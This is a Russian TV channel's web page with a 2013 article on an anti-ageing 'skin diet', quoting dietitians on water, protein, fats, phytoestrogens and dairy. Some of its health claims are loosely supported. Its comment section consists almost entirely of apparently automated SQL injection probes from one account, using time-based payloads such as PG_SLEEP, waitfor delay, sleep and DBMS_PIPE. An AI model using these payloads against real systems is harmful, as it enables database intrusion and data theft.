Телеканал “ЖИВИ!”

Онлайн трансляции Телепрограмма

Энциклопедии

Фитнес и йога Психология и здоровье

Спецпроекты

Хорошая еда

Телеканал “ЖИВИ!”

Онлайн трансляции Телепрограмма

Энциклопедии

Фитнес и йога Психология и здоровье

Спецпроекты

Хорошая еда
  • Главная
  • Цели
  • Антивозрастная программа «ЖИВИ!» // Диета для кожи

Антивозрастная программа «ЖИВИ!» // Диета для кожи

Шаг 1
Шаг 2
Шаг 3
Шаг 4
Шаг 5
Шаг 6
Шаг 7
#
Автор статьи:

Марина Лисакова

Содержание статьи:

Для эффективной борьбы с морщинами одной лишь грамотно подобранной косметики и даже салонных процедур будет недостаточно. Придется поменять стиль жизни, в том числе начать правильно питаться. Как именно? Поговорим об антивозрастной диете для кожи. 

17 октября 2013
0 просмотров
#

Антивозрастная диета для кожи: на чем сделать упор

Вода. Недостаточно увлажненная кожа сморщивается, как сухофрукт. И увлажнять ее важно не только снаружи. «Один мой знакомый косметолог не берется колоть женщине гиалуроновую кислоту, если она не соблюдает питьевой режим, — говорит Марина Студеникина, врач-диетолог, заместитель главного врача клиники «Фактор веса». — Ведь эффекта не будет. Антивозрастная диета для кожи немыслима без большого количества жидкости».

Как правильно вводить в рацион. Пейте чистую негазированную воду из расчета 30 мл на 1 кг массы тела.

И еще. Не морите себя жаждой из-за страха отеков. «Казалось бы, парадоксально, но чем меньше мы пьем жидкости, тем больше она задерживается, — утверждает Екатерина Белова, диетолог, главный врач Центра персональной диетологии “Палитра питания”. — Организм старается накопить то важное для него, что получает в дефиците. Если вы пьете достаточно воды и при этом отекаете, скорее всего, в вашем рационе слишком много соли, из-за которой задерживается жидкость. Тут избыток натрия виноват».

Фрукты и овощи. Главный источник витаминов-антиоксидантов, которые борются с преждевременным старением и способствуют выработке коллагена (в частности, аскорбиновая кислота).

Как правильно вводить в рацион. Антивозрастная диета для кожи должна быть разноцветной. Оттенок фруктов и овощей — это своего рода маркер тех витаминов, которые в них содержатся. Скажем, в оранжевых много бета-каротина, полезного не только для кожи, но и для зрения (а оно с возрастом садится). Зеленые дадут вам порцию витамина К, полезного для костей и снижающего риск остеопороза. Желтые богаты аскорбинкой, которая помогает оставаться в тонусе сосудам и т. д.

И еще.Овощи и фрукты вдобавок хорошо очищают организм за счет высокого содержания клетчатки — как нерастворимой, так и растворимой. Кожа тоже выводит токсичные вещества, и чем меньше ей придется над этим трудиться, тем более свежей и отдохнувшей в результате она будет выглядеть.

Белки. Наш главный строительный материал. Без них организм не может создавать новые клетки, в том числе и клетки кожи — при дефиците протеинов она полноценно не обновляется. «И напротив, я часто замечаю по своим клиентам, что если в их рационе достаточное количество белка, то и кожа в хорошем тонусе», — делится своими наблюдениями Марина Студеникина.

Как правильно вводить в рацион. Из расчета 1 г чистого протеина. Сколько его содержится в тех или иных продуктах, можно посмотреть здесь. И хотя бы примерно на эту таблицу ориентироваться. «Избыток белка так же плох, как его дефицит, — говорит Екатерина Белова. — Во-первых, организму трудно вывести его излишки, он отравляет ткани тела, в том числе и кожу. Во-вторых, избыток пуриновых оснований повреждает соединительные волокна, коллаген. А в-третьих, вредит почкам и суставам — суставы быстрее старятся. Антивозрастная диета для кожи предполагает, что вы будете включать в меню мясо старых животных (в молодом больше пуриновых оснований), хорошо его разваривать — так протеины усваиваются лучше — и в целом больше налегать на нежирные молочные продукты и рыбу, чем на говядину и свинину».

И еще. С возрастом начинает уходить мышечная масса. По подсчетам медиков женщина после 40 лет теряет ее со скоростью 1% в год. Однако чтобы этот процесс замедлить, диетологи советуют активнее заниматься фитнесом, нежели постоянно увеличивать в рационе количество белка. Физические нагрузки обязательны.

Омега-жирные кислоты. Вся группа, а не только модные нынче омега-3 (содержатся в льняном масле, красной рыбе) или популярные омега-6 (последних очень много в привычном нам подсолнечном масле). Известно, что означенные ненасыщенные жирные кислоты благоприятно влияют на мозг пожилого человека, память. Однако они и для молодости кожи крайне важны. «Омега-кислоты нужны для строительства клеточных мембран и эластичности кожи», — поясняет Екатерина Белова.

Как правильно вводить в рацион. Норма жиров в рационе — 1 г на 1 кг массы тела. Жиров в целом, включая те, что вы получаете с мясными, молочными продуктами, десертами, полуфабрикатами. Чтобы не морочиться с подсчетами, можно ориентироваться на порции пищевой пирамиды. Одна порция жира — это столовая ложка семечек, или 5-6 среднего размера орехов, или 1 чайная ложка любого растительного масла. «Даже если вы худеете, в меню должны быть 1-2 порции жиров», — говорит Екатерина Белова.

И еще. С возрастом обмен веществ замедляется, однако, снижая калорийность рациона, совсем от жиров отказываться нельзя. При их участии в организме образуются гормоны, в том числе и половые. А это залог вашей молодости. Чтобы не поправляться, лучше откажитесь от жирных видов мяса, молока, творога.

Фитоэстрогены. Все просто: эстрогены — гормоны молодости. Эстрогеноподобным действием обладают вещества, содержащиеся в сое (соевых продуктах, например тофу), льняном семени и его производных (льняное масло, каша), чечевице.

Как правильно вводить в рацион. Если женщина в детородном возрасте и уровень половых гормонов у нее в норме, фитоэстрогены ей не нужны. А вот с наступлением климакса они способны помочь в борьбе за упругую, гладкую кожу.

И еще. Екатерина Белова советует включать пищу с фитоэстрогенами в свое меню периодически, но не каждый день. Большая часть соевых продуктов, которые попадают на наш стол, произведена из генно-модифицированного сырья.

Молоко и молочные продукты. Содержат в оптимальной пропорции кальций и фосфор, витамин Д. Они необходимы для красоты волос и ногтей. А кальций, доказано, к тому же обладает успокаивающим эффектом. Выпейте на ночь стакан молока, чтобы выспаться: без полноценного сна молодость кожи невозможна.

Как правильно вводить в рацион. Ежедневно в вашем меню должны быть пара стаканов молока или молочные продукты: до 1,5% жирности, но не «нулевых» (из них хуже усваивается кальций).

И еще. Сыр (разумеется, выбираем нежирные сорта) содержит триптофан, который тоже помогает победить бессонницу.

Выстраивая диету для кожи, не только добавляйте в нее полезные продукты, но и исключайте вредные. Обезвоживающие напитки (кофе, алкоголь), напичканные химией полуфабрикаты и сладости, провоцирующие высыпания.

Темы публикации

Комментарии78
По дате
#

xpkLoRel xpkLoRel
2 Нед
@@pBCBt
#

xpkLoRel xpkLoRel
2 Нед
1????%2527%2522
#

xpkLoRel xpkLoRel
2 Нед
1'"
#

xpkLoRel xpkLoRel
2 Нед
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
#

xpkLoRel xpkLoRel
2 Нед
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
#

xpkLoRel xpkLoRel
2 Нед
GYZYdwpE')) OR 779=(SELECT 779 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
njppqgAQ') OR 910=(SELECT 910 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
bAaHAA3K' OR 756=(SELECT 756 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
-1)) OR 38=(SELECT 38 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
-5) OR 117=(SELECT 117 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
-5 OR 629=(SELECT 629 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
ih4yjpbP'; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
1 waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
-1); waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
-1; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
#

xpkLoRel xpkLoRel
2 Нед
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
#

xpkLoRel xpkLoRel
2 Нед
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
#

xpkLoRel xpkLoRel
2 Нед
if(now()=sysdate(),sleep(15),0)
#

xpkLoRel xpkLoRel
2 Нед
-1 OR 3+490-490-1=0+0+0+1
#

xpkLoRel xpkLoRel
2 Нед
-1 OR 2+490-490-1=0+0+0+1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
iIZPLKcL
#

xpkLoRel xpkLoRel
2 Нед
@@maeFO
#

xpkLoRel xpkLoRel
2 Нед
1'"
#

xpkLoRel xpkLoRel
2 Нед
1????%2527%2522
#

xpkLoRel xpkLoRel
2 Нед
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
#

xpkLoRel xpkLoRel
2 Нед
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
#

xpkLoRel xpkLoRel
2 Нед
mSF1tL6g')) OR 397=(SELECT 397 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
5Tj4Mf70') OR 672=(SELECT 672 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
OnX4S3do' OR 777=(SELECT 777 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
-1)) OR 921=(SELECT 921 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
-5) OR 125=(SELECT 125 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
-5 OR 459=(SELECT 459 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
1 waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
GrzogdZN'; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
-1); waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
-1; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
#

xpkLoRel xpkLoRel
2 Нед
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
#

xpkLoRel xpkLoRel
2 Нед
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
#

xpkLoRel xpkLoRel
2 Нед
if(now()=sysdate(),sleep(15),0)
#

xpkLoRel xpkLoRel
2 Нед
-1 OR 3+675-675-1=0+0+0+1
#

xpkLoRel xpkLoRel
2 Нед
-1 OR 2+675-675-1=0+0+0+1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
dznu4WUc
#

xpkLoRel xpkLoRel
2 Нед
@@ANgpd
#

xpkLoRel xpkLoRel
2 Нед
1????%2527%2522
#

xpkLoRel xpkLoRel
2 Нед
1'"
#

xpkLoRel xpkLoRel
2 Нед
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
#

xpkLoRel xpkLoRel
2 Нед
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
#

xpkLoRel xpkLoRel
2 Нед
TvyE32xl')) OR 853=(SELECT 853 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
8RulrElj') OR 133=(SELECT 133 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
LkzTfJYY' OR 172=(SELECT 172 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
-1)) OR 645=(SELECT 645 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
-5) OR 735=(SELECT 735 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
-5 OR 909=(SELECT 909 FROM PG_SLEEP(15))--
#

xpkLoRel xpkLoRel
2 Нед
HWngHTo7'; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
1 waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
-1); waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
-1; waitfor delay '0:0:15' --
#

xpkLoRel xpkLoRel
2 Нед
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
#

xpkLoRel xpkLoRel
2 Нед
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
#

xpkLoRel xpkLoRel
2 Нед
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
#

xpkLoRel xpkLoRel
2 Нед
if(now()=sysdate(),sleep(15),0)
#

xpkLoRel xpkLoRel
2 Нед
-1 OR 3+195-195-1=0+0+0+1
#

xpkLoRel xpkLoRel
2 Нед
-1 OR 2+195-195-1=0+0+0+1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1*1
#

xpkLoRel xpkLoRel
2 Нед
1JkneN4L
#
Автор статьи:

Марина Лисакова

Содержание статьи:

Видео по теме

14+

Гимнастика для тела и духа
14+

Кундалини-йога с Алексеем Меркуловым
0+

Детская йога с Ликой Добрянской
0+

Детская йога со Светланой Абрамцовой
14+

Йога с Ольгой Булановой и Владимиром Зайцевым
12+

Йога для начинающих с Инной Видгоф и Виктором Корольковым
0+

Детская йога с Еленой Рожковой
12+

Хатха-йога с Варварой Любимовой и Андреем Рыжакиным